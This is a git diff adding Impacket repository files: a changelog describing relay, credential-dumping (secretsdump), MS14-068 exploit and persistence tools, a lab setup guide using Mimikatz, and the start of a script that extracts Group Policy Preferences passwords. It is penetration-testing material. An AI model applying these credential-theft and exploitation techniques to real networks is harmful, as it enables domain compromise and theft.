+   * `ntlmrelayx.py`: `smbrelayx.py` on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)
+     (by @dirkjanm)
+
+
+## Impacket v0.9.14 (January 2016):
+
+1. Library improvements
+   * `[MS-TSCH]` - ATSVC, SASec and ITaskSchedulerService Interface implementations
+   * `[MS-DRSR]` - Directory Replication Service DRSUAPI Interface implementation
+   * Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved
+   * Unicode support (optional) for the SMBv1 stack (by @rdubourguais)
+   * NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)
+   * Kerberos support for TDS (MSSQL)
+   * Extended present flags support on RadioTap class
+   * Old DCERPC runtime code removed
+
+2. Examples improvements
+   * `mssqlclient.py`:
+     * Added Kerberos authentication support
+   * `atexec.py`:
+     * It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2
+   * `smbrelayx.py`:
+     * If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default
+     * Added -c option to execute custom commands in the target (by @byt3bl33d3r)
+   * `secretsdump.py`:
+     * Active Directory hashes/Kerberos keys are dumped using `[MS-DRSR]` (`IDL_DRSGetNCChanges` method)
+       by default. VSS method is still available by using the -use-vss switch
+     * Added `-just-dc` (Extract only NTDS.DIT NTLM Hashes and Kerberos) and
+       `-just-dc-ntlm` (only NTDS.DIT NTLM Hashes) options
+     * Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops.
+       Use `-resumefile` option.
+     * Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump (`[MS-SAMR]` `3.1.1.8.11.5`)
+     * Add support for multiple password encryption keys (PEK) (by @s0crat)
+   * `goldenPac.py`:
+     * Tests all DCs in domain and adding forest's enterprise admin group inside PAC
+
+3. New examples
+   * `raiseChild.py`: Child domain to forest privilege escalation exploit. Implements a
+     child-domain to forest privilegeescalation as [detailed by Sean Metcalf](https://adsecurity.org/?p=1640).
+   * `netview.py`: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)
+
+
+## Impacket v0.9.13 (May 2015):
+
+1. Library improvements
+   * Kerberos support for SMB and DCERPC featuring:
+      * `kerberosLogin()` added to SMBConnection (all SMB versions).
+      * Support for `RPC_C_AUTHN_GSS_NEGOTIATE` at the DCERPC layer. This will 
+        negotiate Kerberos. This also includes DCOM.
+      * Pass-the-hash, pass-the-ticket and pass-the-key support.
+      * Ccache support, compatible with Kerberos utilities (kinit, klist, etc).
+      * Support for `RC4`, `AES128_CTS_HMAC_SHA1_96` and `AES256_CTS_HMAC_SHA1_96` ciphers.
+      * Support for `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`/`RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`.
+   * `[MS-SAMR]`: Supplemental Credentials support (used by secretsdump.py)
+   * SMBSERVER improvements:
+      * SMB2 (2.002) dialect experimental support. 
+      * Adding capability to export to John The Ripper format files
+   * Library logging overhaul. Now there's a single logger called `impacket`.
+
+2. Examples improvements
+   * Added Kerberos support to all modules (incl. pass-the-ticket/key)
+   * Ported most of the modules to the new dcerpc.v5 runtime.
+   * `secretsdump.py`:
+     * Added dumping Kerberos keys when parsing NTDS.DIT
+   * `smbserver.py`:
+     * Support for SMB2 (not enabled by default)
+   * `smbrelayx.py`:
+     * Added support for MS15-027 exploitation.
+
+3. New examples
+   * `goldenPac.py`: MS14-068 exploit. Saves the golden ticket and also launches a 
+     psexec session at the target.
+   * `karmaSMB.py`: SMB Server that answers specific file contents regardless of
+     the SMB share and pathname requested. 
+   * `wmipersist.py`: Creates persistence over WMI. Adds/Removes WMI Event 
+     Consumers/Filters to execute VBS based on a WQL filter or timer specified.
+
+
+## Impacket v0.9.12 (July 2014):
+
+1. Library improvements
+   * The following protocols were added based on its standard definition
+      * `[MS-DCOM]` - Distributed Component Object module Protocol (`dcom.py`)
+      * `[MS-OAUT]` - OLE Automation Protocol (`dcom/oaut.py`)
+      * `[MS-WMI]`/`[MS-WMIO]` : Windows Management Instrumentation Remote Protocol (`dcom/wmi.py`)
+
+2. New examples
+   * `wmiquery.py`: executes WMI queries and get WMI object's descriptions.
+   * `wmiexec.py`: agent-less, semi-interactive shell using WMI.
+   * `smbserver.py`: quick an easy way to share files using the SMB protocol.
+
+
+## Impacket v0.9.11 (February 2014):
+
+1. Library improvements
+   * New RPC and NDR runtime (located at `impacket.dcerpc.v5`, old one still available)
+       * Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)
+       * Support for `RPC_C_AUTHN_NETLOGON` (experimental)
+       * The following interface were developed based on its standard definition:
+           * `[MS-LSAD]` - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)
+           * `[MS-LSAT]` - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)
+           * `[MS-NRPC]` - Netlogon Remote Protocol (nrpc.py) 
+           * `[MS-RRP]` - Windows Remote Registry Protocol (rrp.py)
+           * `[MS-SAMR]` - Security Account Manager (SAM) Remote Protocol (samr.py)
+           * `[MS-SCMR]` - Service Control Manager Remote Protocol (scmr.py)
+           * `[MS-SRVS]` - Server Service Remote Protocol (srvs.py) 
+           * `[MS-WKST]` - Workstation Service Remote Protocol (wkst.py) 
+           * `[MS-RPCE]-C706` -  Remote Procedure Call Protocol Extensions (epm.py)
+           * `[MS-DTYP]` - Windows Data Types (dtypes.py)
+       * Most of the DCE Calls have helper functions for easier use. Test cases added for 
+         all calls (check the test cases directory)
+   * ESE parser (Extensive Storage Engine) (ese.py)
+   * Windows Registry parser (winregistry.py)
+   * TDS protocol now supports SSL, can be used from mssqlclient
+   * Support for EAPOL, EAP and WPS decoders
+   * VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi
+
+2. New examples
+  * `rdp_check.py`: tests whether an account (pwd or hashes) is valid against an RDP server
+  * `esentutl.py`: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)
+  * `ntfs-read.py`: mini shell for browsing an NTFS volume
+  * `registry-read.py`: Windows offline registry reader
+  * `secretsdump.py`: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)
+
+
+## Impacket v0.9.10 (March 2013):
+
+1. Library improvements
+   * SMB version 2 and 3 protocol support (`[MS-SMB2]`). Signing supported, encryption for
+     SMB3 still pending.
+   * Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and
+     SMB version independent. It will pick the best SMB Version when connecting against the
+     target. Check `smbconnection.py` for a list of available methods across all the protocols.
+   * Partial TDS implementation (`[MS-TDS]` & `[MC-SQLR]`) so we could talk with MSSQL Servers.
+   * Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.
+   * DCERPC Endpoints' new calls
+     * EPM: `lookup()`: It can work as a general portmapper, or just to find specific interfaces/objects.
+
+2. New examples
+    * `mssqlclient.py`: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives
+      you an SQL prompt for your pleasure.
+    * `mssqlinstance.py`: Lists the MS SQL instances running on a target machine.
+    * `rpcdump.py`: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the
+      UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to
+      develop new functionality to interact against a target interface.
+    * `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the
+      technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also
+      supports instantiating a local smbserver to receive the output of the commandos executed for those situations
+      where no share is available on the other end.
+    * `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly.
+
+And finally tons of fixes :).
+
+
+## Impacket v0.9.9 (July 2012):
+
+1. Library improvements
+   * Added 802.11 packets encoding/decoding
+   * Addition of support for IP6, ICMP6 and NDP packets. Addition of `IP6_Address` helper class.
+   * SMB/DCERPC:
+     * GSS-API/SPNEGO Support.
+     * SPN support in auth blob.
+     * NTLM2 and NTLMv2 support. 
+     * Default SMB port now 445. If `*SMBSERVER` is specified the library will try to resolve the netbios name.
+     * Pass the hash supported for SMB/DCE-RPC.
+     * IPv6 support for SMB/NMB/DCERPC.
+     * DOMAIN support for authentication. 
+     * SMB signing support when server enforces it.
+     * DCERPC signing/sealing for all NTLM flavours.
+     * DCERPC transport now accepts an already established SMB connection.
+     * Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by
+       forwarding named pipes requests).
+     * Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoid Windows 7 nasty bug when that pipe's
+       not functional.
+   * DCERPC Endpoints' new calls:
+       * `SRVSVC`: `NetrShareEnum(Level1)`, `NetrShareGetInfo(Level2)`, `NetrServerGetInfo(Level2)`,
+         `NetrRemoteTOD()`, `NetprNameCanonicalize()`.
+       * `SVCCTL`: `CloseServiceHandle()`, `OpenSCManagerW()`, `CreateServiceW()`, `StartServiceW()`,
+         `OpenServiceW()`, `OpenServiceA()`, `StopService()`, `DeleteService()`, `EnumServicesStatusW()`,
+         `QueryServiceStatus()`, `QueryServiceConfigW()`.
+       * `WKSSVC`: `NetrWkstaTransportEnum()`.
+       * `SAMR`: `OpenAlias()`, `GetMembersInAlias()`.
+       * `LSARPC`: `LsarOpenPolicy2()`, `LsarLookupSids()`, `LsarClose()`.
+
+2. New examples
+    * `ifmap.py`: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list
+      of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is
+      listed and/or listening.
+    * `lookupsid.py`: DCE/RPC lookup sid brute forcer example.
+    * `opdump.py`: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first
+      256 operation numbers in turn and reports the outcome of each call.
+    * `services.py`: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).
+    * `test_wkssvc`: DCE/RPC WKSSVC examples, playing with the functions Implemented.
+    * `smbrelayx`: Passes credentials to a third party server when doing MiTM.
+    * `smbserver`: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but
+      not enforced. Tested under Windows, Linux and MacOS clients.
+    * `smbclient.py`: now supports history, new commands also added.
+    * `psexec.py`: Execute remote commands on Windows machines
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..ca43f09
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,13 @@
+FROM python:3.8-alpine as compile
+WORKDIR /opt
+RUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo
+RUN python3 -m pip install virtualenv
+RUN virtualenv -p python venv
+ENV PATH="/opt/venv/bin:$PATH"
+RUN git clone --depth 1 https://github.com/SecureAuthCorp/impacket.git
+RUN python3 -m pip install impacket/
+
+FROM python:3.8-alpine
+COPY --from=compile /opt/venv /opt/venv
+ENV PATH="/opt/venv/bin:$PATH"
+ENTRYPOINT ["/bin/sh"]
\ No newline at end of file
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..50adaff
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,189 @@
+Licencing
+---------
+
+We provide this software under a slightly modified version of the
+Apache Software License. The only changes to the document were the
+replacement of "Apache" with "Impacket" and "Apache Software Foundation"
+with "SecureAuth Corporation". Feel free to compare the resulting
+document to the official Apache license.
+
+The `Apache Software License' is an Open Source Initiative Approved
+License.
+
+
+The Apache Software License, Version 1.1
+Modifications by SecureAuth Corporation (see above)
+
+Copyright (c) 2000 The Apache Software Foundation.  All rights
+reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+1. Redistributions of source code must retain the above copyright
+   notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in
+   the documentation and/or other materials provided with the
+   distribution.
+
+3. The end-user documentation included with the redistribution,
+   if any, must include the following acknowledgment:
+      "This product includes software developed by
+       SecureAuth Corporation (https://www.secureauth.com/)."
+   Alternately, this acknowledgment may appear in the software itself,
+   if and wherever such third-party acknowledgments normally appear.
+
+4. The names "Impacket", "SecureAuth Corporation" must
+   not be used to endorse or promote products derived from this
+   software without prior written permission. For written
+   permission, please contact oss@secureauth.com.
+
+5. Products derived from this software may not be called "Impacket",
+   nor may "Impacket" appear in their name, without prior written
+   permission of SecureAuth Corporation.
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
+WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
+ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
+USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
+OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGE.
+
+
+
+impacket/smb.py and impacket/nmb.py are based on Pysmb by Michael Teo
+(https://miketeo.net/projects/pysmb/), and are distributed under the
+following license:
+
+This software is provided 'as-is', without any express or implied
+warranty.  In no event will the author be held liable for any damages
+arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose,
+including commercial applications, and to alter it and redistribute it
+freely, subject to the following restrictions:
+
+1. The origin of this software must not be misrepresented; you must
+   not claim that you wrote the original software. If you use this
+   software in a product, an acknowledgment in the product
+   documentation would be appreciated but is not required.
+
+2. Altered source versions must be plainly marked as such, and must
+   not be misrepresented as being the original software.
+
+3. This notice cannot be removed or altered from any source
+   distribution.
+
+
+examples/kintercept.py by Isaac Boukris (https://github.com/iboukris/S4U/)
+is distributed under the following license:
+
+Copyright (c) 2019 Isaac Boukris <iboukris@gmail.com>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+
+impacket/examples/recomsvc.py is based on recomsvc by Talha Tariq
+and is distributed under the following license:
+
+Copyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ]
+All rights are reserved.
+
+Permission to use, copy, modify, and distribute this software
+for any purpose and without any fee is hereby granted,
+provided this notice is included in its entirety in the
+documentation and in the source files.
+
+This software and any related documentation is provided "as is"
+without any warranty of any kind, either express or implied,
+including, without limitation, the implied warranties of
+merchantability or fitness for a particular purpose. The entire
+risk arising out of use or performance of the software remains
+with you.
+
+
+impacket/krb5/asn1.py and impacket/krb5/types.py by Marc Horowitz
+are distributed under the following license:
+
+Copyright (c) 2013, Marc Horowitz
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+Redistributions of source code must retain the above copyright notice,
+this list of conditions and the following disclaimer.
+
+Redistributions in binary form must reproduce the above copyright
+notice, this list of conditions and the following disclaimer in the
+documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+impacket/krb5/crypto.py by the Massachusetts Institute of Technology is
+distributed under the following license:
+
+Copyright (C) 2013 by the Massachusetts Institute of Technology.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+* Redistributions of source code must retain the above copyright
+  notice, this list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above copyright
+  notice, this list of conditions and the following disclaimer in
+  the documentation and/or other materials provided with the
+  distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/MANIFEST.in b/MANIFEST.in
new file mode 100644
index 0000000..38b5984
--- /dev/null
+++ b/MANIFEST.in
@@ -0,0 +1,12 @@
+include MANIFEST.in
+include LICENSE
+include ChangeLog.md
+include README.md
+include SECURITY.md
+include TESTING.md
+
+include requirements.txt
+
+include tox.ini
+recursive-include examples tests *.txt *.py
+recursive-include tests *
diff --git a/SECURITY.md b/SECURITY.md
new file mode 100644
index 0000000..d231454
--- /dev/null
+++ b/SECURITY.md
@@ -0,0 +1,7 @@
+Security Policy
+===============
+
+Although this initiative is not meant to be used in productive environments,
+if you consider that you have identified an issue that might affect the
+security of its users, or you understand that the tool is being abused,
+you can contact us at oss-security@secureauth.com.
diff --git a/TESTING.md b/TESTING.md
new file mode 100644
index 0000000..d1b3f25
--- /dev/null
+++ b/TESTING.md
@@ -0,0 +1,259 @@
+Testing
+=======
+
+The library leverages the [pytest](https://docs.pytest.org/) framework for organizing
+and marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of
+running them across supported Python versions, and [coverage](https://coverage.readthedocs.io/)
+to obtain coverage statistics.
+
+
+Test environment setup
+----------------------
+
+Some test cases are "local", meaning that don't require a target environment and can
+be run off-line, while the bulk of the test cases are "remote" and requires some
+prior setup.
+
+If you want to run the full set of library test cases, you need to prepare your
+environment by completing the following steps:
+
+1. Install testing requirements. You can use the following command to do so:
+
+         python3 -m pip install tox -r requirements-test.txt
+
+1. [Install and configure a target Active Directory Domain Controller](#active-directory-setup-and-configuration).
+
+1. [Configure remote test cases](#configure-remote-test-cases).
+
+
+> **Important note**
+> 
+> Bear in mind that some remote tests are not idempotent, that means that they perform
+> changes on the target environment and the results of the tests depends on that. As an
+> example, some tests require the creation/modification/deletion of user accounts. If those
+> tests fail at some point during the process, user accounts might lay down there and
+> subsequent tests might fail when trying to create the user account. We recommend taking
+> snapshots of the target environment that can be then rolled back after a testing session.
+
+Running tests
+-------------
+
+Once that's done, you would be able to run the test suite with `pytest`. For example,
+you can run all "local" test cases using the following command:
+
+      $ pytest -m "not remote"
+
+Or run the "remote" test cases with the following command:
+
+      $ pytest -m "remote" 
+
+If all goes well, all test cases should pass.
+
+You can also leverage `pytest` [markers](https://docs.pytest.org/en/4.6.x/example/markers.html)
+or [keyword expressions](https://docs.pytest.org/en/4.6.x/usage.html#select-tests)
+to select which test case you want to run. Although we recommend using `pytest`, it's also possible to run individual test
+case modules via `unittest.main` method. For example, to only run `ldap` test cases,
+you can execute:
+
+      $ pytest -k "ldap"
+
+
+Automating runs
+---------------
+
+If you want to run the test cases in a new fresh environment, or run those across
+different Python versions, you can use `tox`. You can specify the group of test cases
+you want to run, which would be passed to `pytest`. As an example, the following
+command will run all "local" test cases across all the Python versions defined in
+the `tox` configuration:
+
+      $ tox -- -m "not remote"
+
+Coverage
+--------
+
+If you want to measure coverage in your test cases run, you can use it via the
+`pytest-cov` plugin, for example by running the following command:
+
+      $ pytest --cov --cov-config=tox.ini
+
+`tox` will collect and report coverage statistics as well, and combine it across
+different Python version environment runs. You will have a coverage HTML report
+located at the default `Coverage`'s location `htlmcov/index.html`.
+
+
+Configuration
+-------------
+
+Configuration of all `pytest`, `coverage` and `tox` is contained in the
+[tox.ini](tox.ini) file. Refer to each tool documentation for further details
+about the different settings.
+
+
+Active Directory Setup and Configuration
+----------------------------------------
+
+In order to run remote test cases, a target Active Directory need to be properly
+configured with the expected objects. Current remote test cases are expected to
+work against a Windows Server 2012 R2 Domain Controller. The following are the
+main steps required:
+
+1. Make sure to disable the firewall on the interface you want to use for connecting
+   to the Domain Controller.
+   
+        PS C:\> Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
+
+1. Install the Active Directory Domain Services on the target server.
+   
+        PS C:\> Install-WindowsFeature -name AD-Domain-Services -IncludeManagementTools 
+
+1. Make sure the server's Administrator user password meet the complexity policy, as it's required
+   for promoting it to Domain Controller.
+
+        PS C:\> $AdminPassword = "<Admin Password>"
+        PS C:\> $Admin=[adsi]("WinNT://$env:COMPUTERNAME/Administrator, user")
+        PS C:\> $Admin.psbase.invoke("setpassword", $AdminPassword)
+
+1. Promote the installed Windows Server 2012 R2 to a Domain Controller, and configure
+   a domain of your choice.
+
+        PS C:\> $DomainName = "<Domain Name>"
+        PS C:\> $NetBIOSName = "<NetBIOS Name>"
+        PS C:\> $RecoveryPassword = "<Recovery Password>"
+        PS C:\> $SecureRecoveryPassword = ConvertTo-SecureString $RecoveryPassword -AsPlainText -Force
+        PS C:\> Install-ADDSForest -DomainName $DomainName -InstallDns -SafeModeAdministratorPassword $SecureRecoveryPassword -DomainNetbiosName $NetBIOSName -SkipPreChecks
+
+1. Install DHCP services on the target Domain Controller.
+
+        PS C:\> Install-WindowsFeature -name DHCP -IncludeManagementTools
+
+1. Create the DHCP administration groups and authorize the server.
+   
+        PS C:\> netsh dhcp add securitygroups
+        PS C:\> Restart-Service dhcpserver
+        PS C:\> Add-DhcpServerInDC -DnsName <Server Name> -IPAddress <IP Address>
+        PS C:\> $Credential = Get-Credential
+        PS C:\> Set-DhcpServerDnsCredential -Credential $Credential -ComputerName <Server Name>
+
+1. Be sure to enable and run the `RemoteRegistry` service on the target Domain 
+   Controller.
+
+        PS C:\> Start-Service RemoteRegistry
+
+1. Create a Domain User with administrative rights. This is the user that will be used
+   to run the remote tests. We make sure to enable AES Kerberos encryption type and add
+   it to the Domain Admins group. 
+
+        PS C:\> $AdminUserName = "<Admin User Name>"
+        PS C:\> $AdminAccountName = "<Admin Account Name>"
+        PS C:\> $AdminUserPassword = "<Admin User Password>"
+        PS C:\> $SecureAdminUserPassword = ConvertTo-SecureString $AdminUserPassword -AsPlainText -Force
+        PS C:\> New-ADUser -Name $AdminUserName -SamAccountName $AdminAccountName -UserPrincipalName $AdminAccountName@$DomainName -AccountPassword $SecureAdminUserPassword -Enabled $true -ChangePasswordAtLogon $false  -KerberosEncryptionType RC4,AES128,AES256
+        PS C:\> Add-ADGroupMember -Identity "Domain Admins" -Members <Account Name>
+
+
+### LDAPS (LDAP over SSL/TLS) configuration
+
+For running LDAPS (LDAP over SSL/TLS) test cases, make sure you have a certificate
+installed and configured on the target Domain Controller. You can follow
+Microsoft's [guidelines to configure LDAPS](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority).
+
+You can use self-signed certificates by:
+
+   1. Create a CA private key and certificate:
+
+          $ openssl genrsa -aes256 -out ca_private.key 4096
+          $ openssl req -new -x509 -days 3650 -key ca_private.key -out ca_public.crt
+
+   1. Copying and importing the CA public certificate into the Domain
+      Controller server:
+
+          PS C:\> Import-Certificate -FilePath ca_public.crt -CertStoreLocation 'Cert:\LocalMachine\Root' -Verbose
+
+   1. Creating a certificate request for the LDAP service, by editing the following
+      configuration file:
+      
+          ;----------------- request.inf -----------------
+          [Version]
+          Signature="$Windows NT$
+            
+          [NewRequest]
+          Subject = "CN=<DC fqdn>" ; replace with the FQDN of the DC
+          KeySpec = 1
+          KeyLength = 1024
+          Exportable = TRUE
+          MachineKeySet = TRUE
+          SMIME = False
+          PrivateKeyArchive = FALSE
+          UserProtected = FALSE
+          UseExistingKeySet = FALSE
+          ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
+          ProviderType = 12
+          RequestType = PKCS10
+          KeyUsage = 0xa0
+      
+          [EnhancedKeyUsageExtension]
+          OID=1.3.6.1.5.5.7.3.1 ; this is for Server Authentication
+          ;-----------------------------------------------
+
+      And then running the following command:
+
+          PS C:\> certreq -new request.inf ldapcert.csr
+
+   1. Signing the LDAP service certificate with the CA, by creating the
+      `v3ext.txt` configuration file:
+      
+          keyUsage=digitalSignature,keyEncipherment
+          extendedKeyUsage=serverAuth
+          subjectKeyIdentifier=hash
+
+      And running the following command:
+      
+          $ openssl x509 -req -days 365 -in ldapcert.csr -CA ca_public.crt -CAkey ca_private.key -extfile v3ext.txt -set_serial 01 -out ldapcert.crt
+
+   1. Copying and installing the new signed LDAP service certificate into
+      the Domain Controller server:
+
+          PS C:\> certreq -accept ldapcert.crt
+
+   1. Finally, restarting the Domain Controller.
+
+
+### Mimilib configuration
+
+[Mimilib](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib) test
+cases require the service to be installed on the target Domain Controller. You can
+do that by running Mimikatz with an elevated user and executing:
+
+        mimikatz # rpc::server
+
+
+Configure Remote Test Cases
+---------------------------
+
+Create a copy of the [dcetest.cfg.template](tests/dcetests.cfg.template) file and
+configure it with the necessary information associated to the Active Directory you
+configured. Path to the configuration file to use when running tests can be then
+specified in the following ways:
+
+  * Using the pytest `--remote-config` command-line option.
+  * Using the pytest `remote-config` option in `tox.ini`.  
+  * Using the `REMOTE_CONFIG` environment variable.
+  * Default to loading from `tests/dcetests.cg`.
+
+For example, you can keep configuration of different environments in
+separate files, and specify which one you want the test to run against:
+
+        $ pytest --remote-config=tests/dcetests-win2016.cfg
+        $ pytest --remote-config=tests/dcetests-win2019.cfg
+
+Make sure you set a user with proper administrative privileges on the
+target Active Directory domain and that the user hashes and keys match with those
+in the environment. Hashes and Kerberos keys can be grabbed from the target Domain
+Controller using [secretsdump.py](examples/secretsdump.py) example script.
+
+Make sure also to have full network visibility into the target hosts and be able to
+resolve DNS queries for the Active Directory Domain configured. If you don't want to
+change your test machine's DNS settings to point to the AD DNS server, you can
+configure your system to statically resolve (e.g. via `/etc/hosts` file) the host
+and domain FQDN to the server's IP address.
diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py
new file mode 100644
index 0000000..828762b
--- /dev/null
+++ b/examples/Get-GPPPassword.py
@@ -0,0 +1,297 @@
+#!/usr/bin/env python3
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Python script for extracting and decrypting Group Policy Preferences passwords,
+#   using Impacket's lib, and using streams for carving files instead of mounting shares
+#
+# Authors:
+#   Remi Gascou (@podalirius_)
+#   Charlie Bromberg (@_nwodtuhs)
+#
+
+import argparse
+import base64
+import logging
+import os
+import re
+import sys
+import traceback
+
+from xml.dom import minidom
+from io import BytesIO
+
+from Cryptodome.Cipher import AES
+from Cryptodome.Util.Padding import unpad
+
+import charset_normalizer as chardet
+
+from impacket import version
+from impacket.examples import logger, utils
+from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError
+
+
+class GetGPPasswords(object):
+    """docstring for GetGPPasswords."""
+
+    def __init__(self, smb, share):
+        super(GetGPPasswords, self).__init__()
+        self.smb = smb
+        self.share = share
+
+    def list_shares(self):
+        logging.info("Listing shares...")
+        resp = self.smb.listShares()
+        shares = []
+        for k in range(len(resp)):
+            shares.append(resp[k]['shi1_netname'][:-1])
+            print('  - %s' % resp[k]['shi1_netname'][:-1])
+        print()
+
+    def find_cpasswords(self, base_dir, extension='xml'):
+        logging.info("Searching *.%s files..." % extension)
